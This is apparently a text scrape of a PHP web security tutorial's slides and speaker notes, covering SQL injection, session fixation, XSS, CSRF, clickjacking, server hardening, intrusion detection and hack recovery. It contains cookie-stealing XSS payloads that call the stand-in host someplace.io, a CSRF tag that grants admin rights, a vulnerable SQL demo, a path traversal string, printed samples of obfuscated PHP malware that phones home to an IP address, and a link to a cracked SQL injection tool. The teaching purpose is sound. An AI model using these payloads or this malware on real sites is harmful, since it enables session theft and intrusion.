  • 41. Fixing SQL injection : use prepared statements $select = 'select * from user where email = :email'; $stmt = $db->prepare($select); $stmt->bindParam(':email', $_GET['email']); $stmt->execute(); $results = $stmt->fetchAll();
  • 42. ORM tools Doctrine, Propel, … When using their query language → OK Beware : you can still execute raw SQL !
  • 43. Other injections LDAP injection Command injection (system, exec, ...) Eval (waaaaaaaaaah !) … User input → PHP → External system If you provide the data, it's your responsibility ! If you consume the data, it's your responsibility !
  • 44. Demo <?php mysql_connect('localhost', 'sqlinjection', 'password') or die('Not working'); mysql_select_db('sqlinjection'); $result = mysql_query("select * from user where email='" . $_GET['email'] . "'"); if (mysql_numrows($result) > 0) { echo mysql_result($result, 0, 'name'); } else { echo 'Error'; }
  • 47. Session fixation angel.cloud.com 1 Create evil PHP code 4 Session cookie on .cloud.com + redirect 2 3 devil.cloud.comdevil.cloud.com 5 Login6 Use evil session cookie <html> … <a href=”http://devil.cloud.com”>Verify your account</a> … </html>
  • 49. Ways to avoid session fixation/hijacking session.use_trans_sid = 0 session.use_only_cookies = true session.cookie_httponly = true Change session on login using session_regenerate_id(true) Do not share sessions between sites/subdomains Do not accept sessions not generated by your code Foreign session → remove the session cookie from the user Regenerate session regularly using session_regenerate_id(true) Use HTTPS session.cookie_secure = true All of the above help against session fixation AND session hijacking !
  • 50. XSS – Cross Site Scripting <?php addMessage($_GET['id'], $_GET['message']); echo 'Thank you for submitting your message : ' . $_GET['message']; URL : /submitMessage http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>
  • 51. XSS – more advanced http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your- cookie.js"></script>
  • 52. XSS – Advanced, yet simple <img src=x onerror=this.src='http://someplace.io/post-the-cookie- here.php?c='+document.cookie> http://www.our-app.com/?id=5&message=Thanks %2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D %27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D %27%2Bdocument.cookie%3E%0D%0A
  • 53. XSS : Non-persisted vs persistent Previous examples were non-persistent : issue occurs once Post code to exploitable bulletin board → Persistent → Can infect every user → If you stored it without filtering, you're responsible for escaping on output !
  • 54. XSS : how to avoid Filter input, escape output <?php echo 'I just submitted this message : ' . htmlentities($_GET['message'], ENT_QUOTES, 'UTF-8', false);
  • 55. CSRF : Cross Site Request Forgery www.our-app.com 1 Submit article for review 2 Retrieve articlefor review 3 Evil html or jsmakes call 4 Devil uses extra privileges Here's the article you were asking for. <img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />
  • 56. CSRF : ways to avoid Escape the output (where did we hear that before ?) Add a field to forms with a random hash/token for verification upon submit Check the referer header <form method="post" action="userSave.php"> <input name="id" type="hidden" value="5" /> <input name="token" type="hidden" value="a4gjogaihfs8ah4gisadhfgifdgfg" /> rest of the form </form>
  • 57. General rules – input validation Assume all data you receive as input contains a hack attempt ! That includes data from trusted users → over 90% of hacks are done by employees/partners/... Filter on disallowed characters Check validity of Dates Email addresses URLs etc. Input validation is not browser-side code, it's server-side code (you can ofcourse use browser-side code to make it look good)
  • 58. General rules – validation or filtering ? Validation : Verify if the values fit a defined format Examples : expecting int, but received 7.8 → “error, 7.8 is not a valid integer” expecting international phone number, but received “+32 3 844 71 89” Filtering / sanitizing : Enforce the defined format by converting to it Examples : expecting int, but received 7.8 → 8 expecting int, but received 'one' → 0 Both have (dis)advantages
  • 59. General rules – escaping output Doing input validation → why do you need output escaping ? What if the data originates from a webservice an XML feed … Always escape output !
  • 60. Clickjacking Do you want to support our cause ? NoSure Do you want to delete all your Facebook friends ? Yes No FB button
  • 61. Clickjacking - solutions Sending X-Frame-Options header : X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN Sending frame-ancestor directive : Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: frame-ancestors 'self' Content-Security-Policy: frame-ancestors example.com wikipedia.org Jump out of iframe (use Framekiller)
  • 62. Bad authentication / authorization layer index.php (checks cookie) login.php (sets cookie) redirect to login main.php redirect to main
  • 63. Bad authentication / authorization layer index.php (checks cookie) login.php (sets cookie) redirect to login main.php (doesn't check cookie !) redirect to main
  • 64. Bad authentication / authorization layer Only hiding URLs on view, not restricting on action /somewhere is visible on screen /somewhere/admin is not visible, but is accessible Allowing direct access to other user's data /user/profile/id/311 is the user's profile /user/profile/id/312 is also accessible and updateable Allowing direct access to file downloads with guessable urls /download/file/83291.pdf Creating cookies : loggedin=1 userid=312 admin=1
  • 65. Protecting your web stack PHP Webserver Database server Mail server Other servers Firewalls ...
  • 66. Protecting your web stack - PHP Update to the latest version (5.4 = EOL, 5.5 will be EOL this year) Safe_mode = dead → use PHP-FPM or VMs Register_globals = dead :-) Suhosin patch → mostly for web hosting companies Disable 'dangerous' PHP functions you don't need in php.ini system exec passthru 'Eval' is not a function, so can not be disabled
  • 67. Protecting your web stack – PHP code If you allow uploads, restrict extensions. No .php, .phtml ! Don't show errors...
  • 68. Protecting your web stack – PHP code If you allow uploads, restrict extensions. No .php, .phtml ! Don't show errors... ...and don't show exceptions, but... …log them ! And watch your logs ;-) If you use filenames as parameters download.php?filename=test.pdf Make sure you don't allow ../../../../etc/passwd Use basename() and pathinfo() to restrict File extensions : Use .php Don't use .inc, .conf, .include, ...
  • 69. Detecting hack attempts from PHP 2 options : Build your own Use an existing system CAPTCHA IDS
  • 70. Building a simple system Add an input field that's hidden from view (bots will fill it out) Implement a captcha Limit number of attempts on captcha Limit number of posts to certain URL
  • 71. Limiting number of posts to a URL function isUserBlocked($userId) { $submissions = $memcache->get('submissions_' . $userId); if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) { $submissions = array(); } $now = new DateTimeImmutable(); if (count($submissions) == 10) { if (new DateTime($submissions[9]) > $now->modify('-1 hour')) { return false; } unset($submissions[9]); } array_unshift($submissions, $now->format(DateTime::ATOM)); $memcache->set('submissions_' . $userId, $submissions); return true; }
  • 72. Using an existing system PHPIDS : The standard IDS for PHP More complete Exposé : By @enygma (Chris Cornutt) Faster Use the same ruleset Provides impact value = level of trust in data $data = array( 'POST' => array( 'test' => 'foo', 'bar' => array( 'baz' => 'quux', 'testing' => '<script>test</script>' ) ) ); $filters = new ExposeFilterCollection(); $filters->load(); $logger = new ExposeLogMongo(); $manager = new ExposeManager($filters, $logger); $manager->run($data); // should return 8 echo 'impact: '.$manager->getImpact()."n";
  • 73. Protecting your web stack – Passwords Don't md5() → sha512, blowfish, … Set a good password policy Min 8 chars, min 1 number, min 1 uppercase char, … NO maximum length Try to avoid password hints → Email is better for recovery Don't create your own password hashing algorithm ! Use password_hash 5.5+ : built-in < 5.5 : ircmaxell/password-compat
  • 74. Password_hash $hash = password_hash($_POST['password'], PASSWORD_DEFAULT); $options = array('cost' => 15); if (password_verify($password, $hash)) { if (password_needs_rehash($hash, PASSWORD_DEFAULT, $options)) { $newhash = password_hash($password, PASSWORD_DEFAULT, $options); } echo 'Password correct'; } else { echo 'Password incorrect'; } Calculating password hash : Verifying password hash :
  • 75. Protecting your web stack – Webserver Block direct access to upload directories
  • 76. Access to private files, uploads, ...
  • 77. Protecting your web stack – Webserver Block direct access to upload directories Allow only access to port 80 and 443 (!) Disable phpMyAdmin (VPN only if required) On Apache don't : AllowOverride All Options Indexes Block access to .svn and .git
  • 78. Protecting your web stack – Webserver
  • 79. Protecting your web stack – Webserver Don't run web server as root Don't let web server user access anything outside web root Detect and ban flood/scan attempts in Nginx : http { limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m; limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s; server { limit_conn conn_limit_per_ip 10; limit_req zone=req_limit_per_ip burst=10 nodelay; } }
  • 80. Use automatic logfile scanner & banner Example : Fail2ban [http-get-dos] enabled = true port = http,https filter = http-get-dos logpath = /var/log/nginx/access.log maxretry = 300 findtime = 300 bantime = 600 action = iptables[name=HTTP, port=http, protocol=tcp]
  • 81. Protecting your web stack – Database server No access from the web required Give it a private IP Other websites on network ? → send traffic over SSL 1 user per DB 1 DB per user 1 DB per application
  • 82. Protecting your web stack – Mail server Setup SSL for POP3, IMAP, SMTP Setup DomainKeys Setup SPF (Sender Policy Framework)
  • 83. Protecting your web stack – DNS server Possible weak point in architecture Controls web, MX (mail) records, anti-spam, etc. DNS hijacking DNS spoofing
  • 84. Protecting your web stack Use public/private key pairs for SSH, not passwords Don't login as root → Use sudo for commands that really need it Allow SSH access only from VPN Running Memcached ? Gearman ? … ? → Block external access
  • 85. Lack of updates Not updating system packages Not updating frameworks and libraries Not just main components Doctrine Bootstrap TinyMCE etc. Not updating webserver software Not updating database server software Recently : Heartbleed (OpenSSL) Shellshock (Bash) Ghost (Glibc)
  • 86. Protecting your web stack - firewalls Separate or on-server Default policy = deny all Don't forget IPv6 !!! Perform regular scans from external location Use blacklists to keep certain IP ranges out
  • 87. First action of a hacker Make sure they don't lose the access they gained Create new user → easy to detect Install a custom backdoor → easy to detect with good IDS Install a backdoor based on installed software → Example : start SSHD with different config on different port (remember firewall ?) → Harder to detect → Kill it... what happens ? → Probably restarts via cronjob
  • 88. Using an Intrusion Detection System Host-based Intrusion Detection System (HIDS) Network-based Intrusion Detection System (NIDS)
  • 89. Host-based Intrusion Detection System Scans the file system for changes New/deleted files Modified files (based on checksum) File permission changes Old systems are standalone : AIDE, Tripwire, AFICK Easy to update by hacker, not recommended (unless combined with backup system) Intrusion detection by backup Best Open Source tool = OSSEC Client-server-based architecture → real-time notification that hacker can't stop Centralized updates
  • 94. Decentralized alternative : Samhain Can be used centralized or standalone Log to syslog, send email, write to DB Processing on the client Improves processing speed Requires CPU power on client
  • 95. Network-based Intrusion Detection Systems Snort Open Source Supported by Cisco (rules are not free) Analyzes traffic, blocks malicious traffic Huge user base, tons of addons
  • 96. Snort
  • 97. Network-based Intrusion Detection Systems Sirucata Similar to Snort Multi-threaded Supports hardware acceleration (packet inspection by GPU !) Detects malware in traffic Scripting engine : Lua (with LuaJIT)
  • 99. Network-based Intrusion Detection Systems Kismet Wireless IDS Detects rogue access points Prevents MITM attacks Detects hidden access points
  • 100. Kismet
  • 101. One IDS distro to rule them all Security Onion Based on Ubuntu Contains all the IDS tools... ...and much more
  • 102. You've been hacked ! Now what ? (1/4) Take your application offline → Put up a maintenance page (on a different server) Take the server off the public Internet Change your SSH keys Make a full backup Check for cronjobs Check access/error/... logs (And give them to legal department) Were any commits made from the server ? → Your server shouldn't be able to !
  • 103. What a PHP hack might look like eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0 xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFf OF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW 5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRl cy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbC cpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRl Y29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW 9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRG ODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNk U5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygk UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKS sxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVF NDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));
  • 104. What a PHP hack might look like
  • 105. What a PHP hack might look like $GLOBALS['_226432454_']=Array(); function _1618533527($i) { return '91.196.216.64'; } $ip=_1618533527(0); $GLOBALS['_1203443956_'] = Array('urlencode'); function _1847265367($i) { $a=Array('http://','/btt.php? ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER'); return $a[$i]; } $url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) . $_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)]; $GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents'); function _393632915($i) { return 'curl_version'; }
  • 106. What a PHP hack might look like - location Changes to .htaccess Files in upload directory PHP code in files with different extension New modules/plugins for Drupal/Wordpress
  • 107. You've been hacked ! Now what ? (2/4) Search system preg_replace base64_decode eval system exec passthru Search system and database script iframe
  • 108. You've been hacked ! Now what ? (3/4) Find out how the hack happened ;-) Write an apology to your customers Finally : Reinstall the OS (from scratch !) Update all packages to the latest version Don't reinstall code from backup ! Install source code from versioning system Restore DB from previous backup (use binary log file)
  • 109. Restoring your database to a specific point Turn on binary log Usually for master-slave replication Useful for fast recovery Make sure it can handle >24h of data Make a daily database backup Make a db dump to a file (mysqldump, …) Warning : locking danger → do this on the slave ! Backup the db dump file To recover : Restore the db dump file Disable db access (webserver, internal users, phpMyAdmin, ...) Import db dump file to db Replay binary log (mysqlbinlog …)
  • 110. You've been hacked ! Now what ? (4/4) Install IDS Get an external security audit on the code Get an external security audit on the system/network setup Change user passwords Relaunch Cross your fingers
  • 111. Takeaways Think like a hacker Can I steal data ? Can I DOS the site ? Which techniques could I use to do it ? Try it without looking at the code Try it while looking at the code Use SSL/HTTPS everywhere ! Block all traffic, then allow only what's needed Sanitize/filter your input Escape your output Block flooders/scanners Use an IDS Never trust a hacked system
  • 114. The software discussed (and more) General resources OWASP : www.owasp.org SANS : http://www.sans.org/security-resources/ SecurityFocus : http://www.securityfocus.com/ CERT : http://cert.org/ SecTools : http://sectools.org/ SQL injection Havij (automated tool) : https://thepirateboat.eu/torrent/8410326/Havij_v1.17ProCracked.7z Clickjacking demo : https://www.youtube.com/watch?v=3mk0RySeNsU Password use in PHP 5.5+ : password_hash function : http://php.net/password_hash < 5.5 : password_compat : https://github.com/ircmaxell/password_compat
  • 115. The software discussed (and more) SSL certificates RapidSSL FreeSSL : https://www.freessl.com/ Let's Encrypt (coming soon) : https://letsencrypt.org/ StartSSL : https://www.startssl.com Block access to .svn and .git : http://blogs.reliablepenguin.com/2014/06/26/block-access-git-svn-fol Webserver flood/scan detection Nginx : http://nginx.com/resources/admin-guide/restricting-access/ Multi-webserver : http://www.fail2ban.org Proxy-based : http://www.ecl-labs.org/2011/03/17/roboo-http-mitigator.html
  • 116. The software discussed (and more) Protecting your mail server SPF and DomainKeys : http://www.pardot.com/faqs/administration/adding-spf-domainkeys-dns/ DNS Hijacking : http://www.gohacking.com/dns-hijacking/ Spoofing : http://www.windowsecurity.com/articles-tutorials/authentication_and_encryptio IPv6 – don't forget to firewall it the same way : https://www.sixxs.net/wiki/IPv6_Firewalling Automatic scanning tools : Nessus : http://www.tenable.com/products/nessus-vulnerability-scanner Wapiti : http://wapiti.sourceforge.net/ Nexpose : http://www.rapid7.com/products/nexpose/
  • 117. The software discussed (and more) Slow HTTP DOS attacks : https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate IDS PHP PHPIDS : https://github.com/PHPIDS/PHPIDS Exposé : https://github.com/enygma/expose Host-based OSSEC : www.ossec.net Samhain : http://www.la-samhna.de/samhain/ AIDE : http://aide.sourceforge.net/ Network-based Snort : https://www.snort.org/ Sirucata : http://suricata-ids.org/ All in one : Security Onion : http://blog.securityonion.net/
  • 118. The software discussed (and more) Penetration testing live CD : Backtrack Linux : http://www.backtrack-linux.org/ Kali Linux : https://www.kali.org/
  • 119. In case you're interested Tutorial : 2,5h - 3h Training : 2 days 1,5 days of interactive training (partly slides, partly hands-on) Try out different security issues Experiment on local virtualboxes and physical machines we bring along 0,5 day of auditing Your code Your servers Your network As a global team effort or in smaller teams More details : https://cu.be/training
  • 120. Contact Twitter @wimgtr Slides http://www.slideshare.net/wimg E-mail wim@cu.be Please provide feedback via : http://joind.in/15417

Editor's Notes

  1. This morning we&amp;apos;re going to talk about security. This tutorial is based on a 2day training that we offer. Training → exercises with Vagrant/Virtualbox Only 3h → too short to try everything → usually takes 30min before everyone&amp;apos;s ready We have a lot of ground to cover, because...
  2. Tutorial is titled... devs know basic security no-nos often unaware of less-common issues More importantly : creating secure app = more than creating secure code. Web app = chain of software and hardware Every part of chain = equally important. Neglecting single component → app and data at risk So next 3h → code and how to secure it Also security of web stack. Detect hack attempt, again both in code and stack Techniques to make it harder to go unnoticed
  3. Before we begin : Little disclaimer Looking at techniques hackers use Not promoting techniques Explaining to help you understand there&amp;apos;s lot more than meets the eye. Use knowledge to improve security, not exploit bad code
  4. …. That&amp;apos;s the reason to spend a little time explaining why there&amp;apos;s so much more to SQL injection than what most people think or talk about in talks
  5. …. That&amp;apos;s the reason to spend a little time explaining why there&amp;apos;s so much more to SQL injection than what most people think or talk about in talks
  6. …. That&amp;apos;s the reason to spend a little time explaining why there&amp;apos;s so much more to SQL injection than what most people think or talk about in talks
  7. Lost password function EXPLAIN CODE How would you exploit this code ?
  8. 1=1 Always true Rest ignored All rows fetched → first one used in code → pw changed → mail sent → email address shown → exposing application data Bad, but can be worse. Probably thinking about this :
  9. Pretty horrific ofcourse But : most hackers won&amp;apos;t do this Reason : they want your data, not destroy it
  10. Exploit SQL injection : know table structure Looking at code → query will fail if field name is wrong If field name is correct → return not found
  11. Find other fields in same way We can then try to insert Might fail because of missing foreign keys or mandatory fields we don&amp;apos;t know
  12. However, we can always update email address of user we know → set to our email Then retrieve password Then reset email But now we have login access !
  13. As already mentioned : hackers want your data Easy way to retrieve it. Increment the limit start Retrieve each row of the table
  14. As already mentioned : hackers want your data Easy way to retrieve it. Increment the limit start Retrieve each row of the table
  15. So how do we fix SQL injection ? Who has ever used addslashes to... ? How could you exploit this code ? No quotes ! We can&amp;apos;t retrieve data, but we can cause each query to sleep 10 sec. So addslashes is not a good solution
  16. The second option is the real_escape_string functions. Although they&amp;apos;re not bad → not really ideal anymore
  17. Best way : prepared statements They&amp;apos;re the most convenient and flexible way to protect against all the things we just saw.
  18. ORMs will help → they use prepared statements → You can still execute raw SQL → still vulnerable to SQL → be careful, even with ORM
  19. Plenty of other injections possible Rule is : don&amp;apos;t accept input from user and send it unfiltered to external system Let&amp;apos;s say SOAP webservice someone wrote years ago. Unfiltered data → SOAP → might have SQL injection issue. Not your problem ? SOAP developer gone, source code gone ? You consume service, you need to provide good data.
  20. Not as well know, but very dangerous and sneaky How it works... EXPLAIN SLIDE Ofcourse this implies passing session id in query string → Not recommended → Enable session.user_only_cookies
  21. Another common way Not passing session id on query string Works on limited sites Let&amp;apos;s say we can register subdomain and run PHP code EXPLAIN SLIDE
  22. Session fixation is serious problem Luckily few things that can be done All of tips also help in avoiding hijacking → when http traffic is intercepted → cookie gets stolen
  23. XSS problem is mostly poor output escaping This is most simple version. However, can get a lot worse.
  24. Non-persistent : targeted to one user at a time Persistent : can infect every usre
  25. There&amp;apos;s a few